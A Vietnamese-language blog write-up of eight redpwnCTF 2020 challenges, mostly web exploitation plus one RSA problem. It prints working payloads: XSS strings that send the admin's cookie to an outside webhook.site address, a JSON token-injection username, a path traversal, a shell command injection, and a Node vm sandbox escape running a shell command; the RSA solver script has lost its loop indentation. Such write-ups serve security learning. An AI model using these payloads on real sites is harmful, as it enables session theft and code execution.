Writeup: redpwnCTF 2020

  1. web/inspector-general

Đề bài cho đường dẫn sau https://redpwn.net/. Chỉ cần xem source code là có thể tìm được flag

Flag:  flag{1nspector_g3n3ral_at_w0rk}

2. web/static-pastebin

Bài này cho mình một https://static-pastebin.2020.redpwnc.tf/  là một trang cho phép lưu trữ văn bản text. Cách thức họat động của trang là lấy lưu chữ lại và hiển thi ra. Sau khi tạo xong thì gửi đoạn đó cho admin đọc. Mình đoán bài này thuộc dạng xss. Bên cạnh có có 1 file js để lấy dữ liệu từ paramter chuyển thành html.

(async () => {
    await new Promise((resolve) => {
        window.addEventListener('load', resolve);
    });

    const content = window.location.hash.substring(1);
    display(atob(content));
})();

function display(input) {
    document.getElementById('paste').innerHTML = clean(input);
}

function clean(input) {
    let brackets = 0;
    let result = '';
    for (let i = 0; i < input.length; i++) {
        const current = input.charAt(i);
        if (current == '<') {
            brackets ++;
        }
        if (brackets == 0) {
            result += current;
        }
        if (current == '>') {
            brackets --;
        }
    }
    return result
}

Đoạn javascript sẽ bỏ tất các các ký tự trong cặp ngoặc < >. Đoạn code sau đây có thể bypass được

><img src="http://url.to.file.which/not.exist" onerror="fetch('https://webhook.site/a172a63d-d756-496e-8412-3b44684aa384', { method:'POST', body: JSON.stringify({data:document.cookie}) } );">

Sau đó gửi đường đẫn đó cho admin qua trang https://admin-bot.redpwnc.tf/submit?challenge=static-pastebin. Và nhận lại kết quả:

Flag: flag{54n1t1z4t10n_k1nd4_h4rd}

3. web/panda-facts

Bài này cho source, đọc khá là dài. Về cơ bản thì đề bài là một trang đăng nhập, sau khi nhập username trang sẽ cấp cho một token lưu lại lần đăng nhập, và mặc định gía trị member là 0, yêu cầu phải chuyển thành số khác 0 sẽ lấy được flag. Sau khi nhiên cứu thì mình có tìm được đoạn sau:

token được tạo ra bằng cách thêm username vào trong string token từ đây minh có ý tưởng sẽ inject thêm trường vào để thay đổi gía trị của member .  Minh truyền username vào có gía trị sau: 4","member":1,”a”:”3  lúc đó gđoạn token sẽ trở thành: {"integrity":"12370cc0f387730fb3f273e4d46a94e5","member":0,"username":"4","member":1,”a”:”3"}. Gía trị member đã thành 1.

Flag: flag{1_c4nt_f1nd_4_g00d_p4nd4_pun}

4.web/static-static-hosting

Bài này cũng tương tự như bài static-hosting nhưng khó hơn ở đoạn bypass.


function clean(input) {
    const template = document.createElement('template');
    const html = document.createElement('html');
    template.content.appendChild(html);
    html.innerHTML = input;

    sanitize(html);

    const result = html.innerHTML;
    return result;
}

function sanitize(element) {
    const attributes = element.getAttributeNames();
    for (let i = 0; i < attributes.length; i++) {
        // Let people add images and styles
        if (!['src', 'width', 'height', 'alt', 'class'].includes(attributes[i])) {
            element.removeAttribute(attributes[i]);
        }
    }

    const children = element.children;
    for (let i = 0; i < children.length; i++) {
        if (children[i].nodeName === 'SCRIPT') {
            element.removeChild(children[i]);
            i --;
        } else {
            sanitize(children[i]);
        }
    }
}

Với dạng filter này thì tác gỉa đã bỏ đi gần hết các hàm loại bỏ các trường chỉ để lại src, with, height, alt class. trường hợp này làm mình cảm thấy khó và vướng khá nhiều thời gian ( kinh nghiệm bypass xss còn non trẻ quá). Sau đó mình có search google và tìm được bài báo https://medium.com/@hspro9x/ch%C3%A9m-gi%C3%B3-ng%C3%A0y-d%E1%BB%8Bch-xss-bypass-cloudflare-waf-e89d86417b39 thấy tác giả bài báo cũng gặp trường hợp như mình. Tác  giả có chi sẻ  list bypass xss sau: https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec. Mình tìm trong đóng đó được thứ mình cần <IFRAME SRC="javascript:alert('XSS');"></IFRAME>. Đến đây là oke rồi :))

Mình sử dụng đoạn xss sau:

<IFRAME SRC="javascript:fetch(\'https://webhook.site/a172a63d-d756-496e-8412-3b44684aa384\', { method:\'POST\', body: JSON.stringify({data:document.cookie}) } );"></IFRAME>

Flag: flag{wh0_n33d5_d0mpur1fy}

5. web/tux-fanpage

Bìa này thuộc dạng directory traversal để đọc file index.js . Nhưng không đơn giản vì bị filter khá là nhiều

Đầu tiền cần bypass đoạn regex sau: khá là dễ vì đề chỉ regex ký tự đầu tiền của path

Tiếp theo cần bypass includes, sau một hồi tìm kiếm thì chỉ cần truyền vào path là array thì sẽ bypass được. Trong nodejs thì chuyển array thành string dễ dàng, nhưng để chuyển thành đường dẫn cũng khó. Sau mình có tìm kiếm được https://stackoverflow.com/questions/35048686/difference-between-path-resolve-and-path-join-invocation. Trang web sử dụng path.resolve để nối lại với dir.

Từ đó mình xây đựng được path có thể đọc được file index.js a&path=/../../index.js

Flag: flag{tr4v3rsal_Tim3}

6. web/post-it-notes

Bài này cho mình hẳng 1 server được viết bằng Flask. Ban đầu mình nghĩ nó là request smuggling nhưng hóa ra nó đơn giản hơn nhiều :v.

Quá dễ dàng, command injection '; ls ; echo '3 mình nhận được list file.

Sau đó chỉ việc đọc file flag.txt

Flag: flag{y0u_b3tt3r_n0t_m@k3_m3_l0s3_my_pyth0n_d3v_j0b}

7. misc/CaaSiNO

Bài này có cho đoạn code và mình nhận ra đoạn code này sử  dụng ‘vm’ một thư viện của nodejs để thực thi

Và rất nhanh chóng mình tìm được đoạn code có thể RCE được:  

const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').execSync('cat /ctf/flag.txt').toString()

Flag : flag{vm_1snt_s4f3_4ft3r_41l_29ka5sqD}

8. crypto/primimity

Bài này sử dụng RSA qua đọc code minh thấy quá trình sinh số N từ 3 số nguyên tố gần nhau. Từ đây mình dễ dàng tìm ra được 3 số p,q, d để tinh Phi_n và giải bào toán. Vì 3 số này sẽ nằm trong khoảng root(N,3) nên chỉ tìm các số trong khoản [root(N,3)-10^5, root(N,3)+10^5] các số là ước của N.

import gmpy2
from Crypto.Util.number import *
n = 2739699434633097765008468371124644741923408864896396205946954196101304653772173210372608955799251139999322976228678445908704975780068946332615022064030241384638601426716056067126300711933438732265846838735860353259574129074615298010047322960704972157930663061480726566962254887144927753449042590678730779046154516549667611603792754880414526688217305247008627664864637891883902537649625488225238118503996674292057904635593729208703096877231276911845233833770015093213639131244386867600956112884383105437861665666273910566732634878464610789895607273567372933766243229798663389032807187003756226177111720510187664096691560511459141773632683383938152396711991246874813205614169161561906148974478519987935950318569760474249427787310865749167740917232799538099494710964837536211535351200520324575676987080484141561336505103872809932354748531675934527453231255132361489570816639925234935907741385330442961877410196615649696508210921
e = 65537
c = 2082926013138674164997791605512226759362824531322433048281306983526001801581956788909408046338065370689701410862433705395338736589120086871506362760060657440410056869674907314204346790554619655855805666327905912762300412323371126871463045993946331927129882715778396764969311565407104426500284824495461252591576672989633930916837016411523983491364869137945678029616541477271287052575817523864089061675401543733151180624855361245733039022140321494471318934716652758163593956711915212195328671373739342124211743835858897895276513396783328942978903764790088495033176253777832808572717335076829539988337505582696026111326821783912902713222712310343791755341823415393931813610365987465739339849380173805882522026704474308541271732478035913770922189429089852921985416202844838873352090355685075965831663443962706473737852392107876993485163981653038588544562512597409585410384189546449890975409183661424334789750460016306977673969147
p, q = gmpy2.iroot(n, 3)
press = p - 700*300
i = 0
res = []
while True:
press = gmpy2.next_prime(press)
if(n %press == 0):
res.append(press)
i+=1
if press -p > 700*300 :
print i
break
assert res[0]*res[1]*res[2] == n
phi = (res[0]-1)*(res[1]-1)*(res[2]-1)
d = gmpy2.invert(e, phi);
m = pow(c, d, n);
print long_to_bytes(m)

Kết quả sau khi chạy chỉ có 3 số chia hết cho N

Flag: flag{pr1m3_pr0x1m1ty_c4n_b3_v3ry_d4ng3r0u5}

Trả lời

Mời bạn điền thông tin vào ô dưới đây hoặc kích vào một biểu tượng để đăng nhập:

WordPress.com Logo

Bạn đang bình luận bằng tài khoản WordPress.com Đăng xuất /  Thay đổi )

Google photo

Bạn đang bình luận bằng tài khoản Google Đăng xuất /  Thay đổi )

Twitter picture

Bạn đang bình luận bằng tài khoản Twitter Đăng xuất /  Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook Đăng xuất /  Thay đổi )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.